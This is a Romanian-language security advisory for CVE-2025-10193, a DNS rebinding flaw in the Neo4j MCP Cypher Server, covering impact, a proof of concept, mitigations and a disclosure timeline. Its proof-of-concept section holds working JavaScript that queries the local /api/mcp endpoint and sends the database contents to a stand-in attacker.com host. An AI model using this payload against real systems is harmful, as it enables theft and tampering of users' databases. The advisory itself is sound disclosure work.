Serverul Neo4j MCP Cypher este vulnerabil la preluarea bazei de date prin DNS rebinding
Autor: Evan Harris
Componentă afectată: Neo4j MCP Cypher Server
Versiuni vulnerabile: 0.2.2 până la 0.3.1
CVE: CVE-2025-10193
Scor CVSS 4.0: 7.4 (Ridicat) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Prezentare generală
Serverul Neo4j MCP Cypher pune la dispoziție un endpoint HTTP pentru executarea interogărilor Cypher asupra unei baze de date Neo4j.
MCPSec a descoperit o vulnerabilitate de tip DNS rebinding în server care permite atacatorilor la distanță să ocolească politicile de securitate ale browserului și să execute interogări Cypher arbitrare asupra instanței de bază de date accesibile prin MCP.
Neo4j a remediat această problemă în versiunea v0.4.0. Toți utilizatorii versiunilor afectate ar trebui să se actualizeze imediat.
Impact
Atacatorii obțin acces POST complet la endpointul /api/mcp servit de serverul local Neo4j MCP Cypher.
Acest lucru permite executarea neautorizată a oricărei interogări Cypher, oferind efectiv atacatorului control administrativ complet asupra bazei de date Neo4j. Aceasta poate duce la:
- Exfiltrarea completă a datelor confidențiale stocate în baza de date.
- Modificarea neautorizată a datelor sau coruperea acestora.
- Ștergerea datelor și refuzul serviciului.
Atacul de tip DNS rebinding poate fi executat în câteva secunde de la vizitarea de către victimă a unui site web malițios, necesitând doar ca serverul vulnerabil să ruleze local.
Proof of Concept
Scenariul atacului presupune:
- Victima rulează o versiune vulnerabilă a serverului Neo4j MCP Cypher pe computerul său local.
- Victima navighează către un site web malițios controlat de atacator.
- Site-ul web execută un atac de tip DNS rebinding, păcălind browserul victimei să trimită comenzi către serverul Neo4j.
După finalizarea rebinding-ului, atacatorul poate folosi browserul victimei pentru a trimite interogări Cypher malițioase către endpointul /api/mcp servit local. Datele pot fi apoi exfiltrate către serverul atacatorului, sau se pot efectua manipularea și ștergerea datelor.
MCPSec a efectuat un atac de tip proof of concept folosind următorii pași:
-
Implementați o aplicație de DNS rebinding (de exemplu, Singularity of Origin).
-
Construiți un payload JavaScript servit de site-ul web malițios pentru a executa o interogare și a exfiltra datele.
const Neo4jRebind = () => {
// The core attack function. It sends a malicious Cypher query.
function attack(headers, cookie, body) {
const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
fetch('http://localhost:8000/api/mcp', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json, text/event-stream',
'Connection': 'keep-alive',
'Cache-Control': 'no-cache'
},
body: JSON.stringify({ query: maliciousQuery })
}).then(response => {
const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
response.text().then(databaseContents => {
// Send the stolen database contents to the attacker's server
fetch(ATTACKER_SERVER, {
method: 'POST',
body: JSON.stringify(databaseContents)
});
}).catch(e => console.error('Failed to parse Neo4j response', e));
}).catch(e => console.error("Failed to post Cypher query", e));
}
// Function to check if the rebound service is the target Neo4j server
async function isService(headers, cookie, body) {
try {
const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
// A successful ping (even opaque) suggests the port is open.
return true;
} catch (e) {
return false;
}
}
return {
attack,
isService
}
}
Registry["Neo4jRebind"] = Neo4jRebind();
- Rulați un server de colectare a datelor pentru a primi cererea POST care conține conținutul furat al bazei de date.
Următorul exemplu prezintă datele JSON exfiltrate din baza de date a unei victime, conținând informații potențial confidențiale despre utilizatori.
{
"results": [
{
"columns": ["n"],
"data": [
{
"row": [
{
"name": "Evan Harris",
"email": "evan.harris@example.com",
"role": "admin",
"password_hash": "sha256:abc123def456..."
}
],
"meta": [{...}]
},
{
"row": [
{
"project": "Project Titan",
"api_key": "neo-secret-key-xyz789",
"status": "active"
}
],
"meta": [{...}]
}
]
}
],
"errors": []
}
Măsuri de atenuare recomandate
Pentru utilizatori (imediat)
- Actualizați imediat
mcp-neo4j-cypherla versiunea v0.4.0 sau mai recentă. Această versiune conține patch-ul care validează antetul HTTPHostpentru a preveni acest atac. - Dacă nu vă puteți actualiza, treceți de la HTTP la stdio. Ca alternativă, plasați un filtru de cereri de rețea în fața serverului dumneavoastră Neo4j Cypher MCP pentru a vă apăra împotriva antetelor Host invalide.
Această vulnerabilitate a fost raportată echipei Neo4j prin practici de divulgare responsabilă. Echipa a reacționat rapid pentru a valida și corecta problema.
Cronologia divulgării
- 2025-09-08: Neo4j confirmă primirea raportului.
- 2025-09-09: Neo4j recunoaște riscul asociat vectorului de atac.
- 2025-09-09: Echipei Neo4j i se furnizează îndrumări detaliate și exemple de remediere.
- 2025-09-09: Neo4j deschide un pull request cu măsuri defensive.
- 2025-09-11: Este lansată versiunea corectată v0.4.0.
- 2025-09-11: Este emis CVE-2025-10193 și este publicat GitHub Security Advisory.
- 2025-09-12: Este convenită data de publicare a buletinului tehnic de securitate.
- 2025-10-13: Este lansat buletinul tehnic de securitate.
Concluzie
Vulnerabilitatea de tip DNS rebinding din serverul Neo4j MCP Cypher evidențiază un risc de securitate ridicat pentru instrumentele de dezvoltare care expun interfețe locale de baze de date. Deși oferă o funcționalitate locală puternică, aceste servicii pot deveni o poartă de acces pentru atacuri bazate pe web dacă nu sunt securizate corespunzător. Aceasta poate duce la compromiterea completă a datelor confidențiale.
Felicitări echipei Neo4j pentru reacția lor profesionistă și rapidă în corectarea acestei vulnerabilități. Toți utilizatorii componentei afectate ar trebui să se actualizeze la cea mai recentă versiune pentru a se asigura că datele lor sunt protejate.